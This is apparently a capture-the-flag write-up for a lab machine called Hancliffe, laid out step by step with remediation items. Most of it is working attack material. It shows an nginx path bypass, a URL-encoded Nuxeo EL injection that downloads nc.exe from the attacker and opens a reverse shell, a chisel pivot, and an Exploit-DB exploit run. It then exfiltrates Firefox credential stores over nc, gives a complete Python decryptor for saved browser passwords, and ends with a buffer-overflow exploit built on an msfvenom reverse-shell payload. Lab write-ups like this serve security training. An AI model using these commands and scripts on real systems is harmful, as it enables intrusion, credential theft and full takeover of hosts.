Hancliffe
Summary
An nginx front end hid a Nuxeo document server behind a /maintenance redirect, so I bypassed it with the path-normalization trick /maintenance/..;/login.jsp and reached the application. Nuxeo 10.2 is vulnerable to CVE-2018-16341, a JSF/EL injection in the .xhtml handler; I confirmed it with a probe (pwn${-7+7}.xhtml rendered as pwn0.xhtml) and then ran an EL payload through java.lang.Runtime to get a shell as a low-privileged service account. I tunnelled a chisel reverse SOCKS proxy to reach an internal-only application (UR3) on loopback 9512 and ran its public exploit (Exploit-DB 49587) to land a shell as the user clara.
I decrypted clara's saved Firefox logins to recover a HashPass master password, fed it back into the on-box HashPass instance to regenerate the Windows password for the development account, and logged in over WinRM. Finally I reverse-engineered a custom service, MyFirstApp.exe, recovered its hardcoded login, and exploited a stack buffer overflow in it with a socket-reuse stage to get a shell as Administrator.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered, for development>"
export PASSWORD3="<the-password-you-recovered, for alfiansyah>"Attack path — how the box was taken
Exact commands 1
The maintenance path blocks direct access to the app.
$ curl -i -sS --path-as-is http://$TARGET/maintenance/login.jspFixPatch Nuxeo and fix the nginx path-normalization bypassCritical
Exact commands 3
EL confirmation: pwn${-7+7} resolves to pwn0, proving the expression is evaluated.
$ curl -sS --path-as-is "http://$TARGET/maintenance/..;/login.jsp/pwn$%7b-7+7%7d.xhtml"The EL payload is URL-encoded end to end so the shell never sees the ${...} braces; it calls java.lang.Runtime.exec to stage nc.exe with curl.exe. Serve nc.exe on 8085 from your machine first.
$ curl -g -sS --path-as-is --max-time 10 "http://$TARGET/maintenance/..;/login.jsp/pwn%24%7BfacesContext.externalContext.context.class.class.methods%5B0%5D.invoke(null%2CparamValues.x).methods%5B13%5D.invoke(facesContext.externalContext.context.class.class.methods%5B0%5D.invoke(null%2CparamValues.x).methods%5B6%5D.invoke(null%2Cnull)%2CparamValues.c)%7D.xhtml?x=java.lang.Runtime&c=curl.exe%20http%3A%2F%2F$ATTACKER_IP%3A8085%2Fnc.exe%20-o%20C%3A%5CProgramData%5Cnc.exe"Second request runs nc.exe for a reverse shell to a listener on my machine on 7777.
$ curl -g -sS --path-as-is --max-time 8 "http://$TARGET/maintenance/..;/login.jsp/pwn%24%7BfacesContext.externalContext.context.class.class.methods%5B0%5D.invoke(null%2CparamValues.x).methods%5B13%5D.invoke(facesContext.externalContext.context.class.class.methods%5B0%5D.invoke(null%2CparamValues.x).methods%5B6%5D.invoke(null%2Cnull)%2CparamValues.c)%7D.xhtml?x=java.lang.Runtime&c=cmd.exe%20%2Fc%20C%3A%5CProgramData%5Cnc.exe%20$ATTACKER_IP%207777%20-e%20cmd.exe"Exact commands 3
Local chisel server.
$ /usr/local/bin/chisel server --port 9999 --reverseStage chisel on the foothold (parallel to the nc.exe staging above).
$ curl.exe http://$ATTACKER_IP:9000/win/chisel-x64.exe -o C:\ProgramData\chisel.exeReverse SOCKS back to me; 127.0.0.1:9512 is now reachable via the proxy.
$ start /b C:\ProgramData\chisel.exe client $ATTACKER_IP:9999 R:socksFixSegment internal applications so a single compromised service cannot reach themHigh
Exact commands 1
EDB-49587 against the loopback UR3 service through the SOCKS proxy; rev.exe is an msfvenom reverse shell served over HTTP, and the callback is caught on the paired listener.
$ proxychains4 -q -f proxychains.conf python2 /usr/share/exploitdb/exploits/windows/remote/49587.py 127.0.0.1 $ATTACKER_IP:8086 rev.exeFixPatch or remove the vulnerable internal UR3 applicationHigh
Exact commands 7
Base64-encode key4.db (repeat for logins.json).
$ certutil -encode C:\Users\clara\AppData\Roaming\Mozilla\Firefox\Profiles\ljftf853.default-release\key4.db C:\ProgramData\key4.db.b64My listener; on the target run C:\ProgramData\nc.exe $ATTACKER_IP 7780 < C:\ProgramData\key4.db.b64 (and 7781 for logins.json).
$ ncat -lvnp 7780 --recv-only > key4.db.b64Strip the certutil header/footer and decode back to key4.db.
$ sed '1d;$d' key4.db.b64 | tr -d '\r\n' | base64 -d > key4.dbA small ctypes wrapper over libnss3 that authenticates the (empty-primary-password) key store and decrypts each logins.json entry.
$ cat > decrypt_firefox.py <<'EOF'
#!/usr/bin/env python3
import base64, ctypes, json, os, sys
from ctypes import POINTER, Structure, byref, c_char_p, c_int, c_uint, c_ubyte, c_void_p, cast, string_at
class SECItem(Structure):
_fields_ = [("type", c_uint), ("data", POINTER(c_ubyte)), ("len", c_uint)]
profile = os.path.abspath(sys.argv[1] if len(sys.argv) > 1 else ".")
nss = ctypes.CDLL("libnss3.so")
nss.NSS_Init.argtypes = [c_char_p]
nss.NSS_Init.restype = c_int
nss.NSS_Shutdown.restype = c_int
nss.PK11_GetInternalKeySlot.restype = c_void_p
nss.PK11_CheckUserPassword.argtypes = [c_void_p, c_char_p]
nss.PK11_CheckUserPassword.restype = c_int
nss.PK11_Authenticate.argtypes = [c_void_p, c_int, c_void_p]
nss.PK11_Authenticate.restype = c_int
nss.PK11_FreeSlot.argtypes = [c_void_p]
nss.PK11SDR_Decrypt.argtypes = [POINTER(SECItem), POINTER(SECItem), c_void_p]
nss.PK11SDR_Decrypt.restype = c_int
nss.SECITEM_ZfreeItem.argtypes = [POINTER(SECItem), c_int]
if nss.NSS_Init(("sql:" + profile).encode()) != 0:
raise SystemExit("NSS_Init failed for " + profile)
slot = nss.PK11_GetInternalKeySlot()
if not slot:
raise SystemExit("PK11_GetInternalKeySlot failed")
if nss.PK11_CheckUserPassword(slot, b"") != 0:
raise SystemExit("Firefox primary password is not empty")
if nss.PK11_Authenticate(slot, 1, None) != 0:
raise SystemExit("PK11_Authenticate failed")
def decrypt(value):
raw = base64.b64decode(value)
buf = (c_ubyte * len(raw)).from_buffer_copy(raw)
src = SECItem(0, cast(buf, POINTER(c_ubyte)), len(raw))
dst = SECItem()
if nss.PK11SDR_Decrypt(byref(src), byref(dst), None) != 0:
raise RuntimeError("PK11SDR_Decrypt failed")
try:
return string_at(dst.data, dst.len).decode("utf-8")
finally:
nss.SECITEM_ZfreeItem(byref(dst), 0)
with open(os.path.join(profile, "logins.json"), encoding="utf-8") as f:
data = json.load(f)
for entry in data.get("logins", []):
print("hostname=" + entry.get("hostname", ""))
print("username=" + decrypt(entry["encryptedUsername"]))
print("password=" + decrypt(entry["encryptedPassword"]))
nss.PK11_FreeSlot(slot)
nss.NSS_Shutdown()
EOFNSS needs a cert9.db companion; create an empty one, place it beside key4.db/logins.json, then decrypt. Recovers the HashPass master password $PASSWORD.
$ certutil -N --empty-password -d sql:nssdummy && cp nssdummy/cert9.db . && python3 decrypt_firefox.py .The on-box HashPass regenerates development's deterministic Windows password $PASSWORD2.
$ curl -sS -X POST --data-urlencode 'fullname=development' --data-urlencode 'website=hancliffe.htb' --data-urlencode "masterpassword=$PASSWORD" --data-urlencode 'length=16' --data-urlencode 'counter=1' http://$TARGET:8000/WinRM as development over the pivot.
$ proxychains4 -q -f proxychains.conf evil-winrm -i 127.0.0.1 -u development -p "$PASSWORD2"FixStop storing recoverable plaintext-equivalent credentials in the browser and in a custom password-recovery toolHigh
Exact commands 2
From the development evil-winrm session, pull the binary to me for analysis.
$ download C:\DevApp\MyFirstApp.exe MyFirstApp.exeShows the hardcoded username alfiansyah and an encoded password constant. Extract that constant from sym._login and decode it offline to recover $PASSWORD3.
$ r2 -q -e scr.color=false -c 'aaa; pdf @ sym._login' MyFirstApp.exeFixFix the unsafe string copy and harden the custom MyFirstApp serviceCritical
Exact commands 2
Authenticates to MyFirstApp on 9999, sends the literal FullName, then the 66-byte-to-EIP overflow at the Code prompt (jmp esp 0x719023a8) followed by the socket-reuse stage. Build root4444.bin with: msfvenom -p windows/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4444 EXITFUNC=thread -b "\x00" -f raw -o root4444.bin.
$ python3 exploit_myfirstapp.py $TARGET --port 9999 --user alfiansyah --password "$PASSWORD3" --stage root4444.binCatch the Administrator shell; then type C:\Users\Administrator\Desktop\root.txt (<root.txt>).
$ ncat -lvnp 4444Exposed services
| 80/tcp | http nginx 1.21.0 |
| 8000/tcp | http nginx 1.21.0 |
| 9999/tcp | unknown recon-sweep-discovered |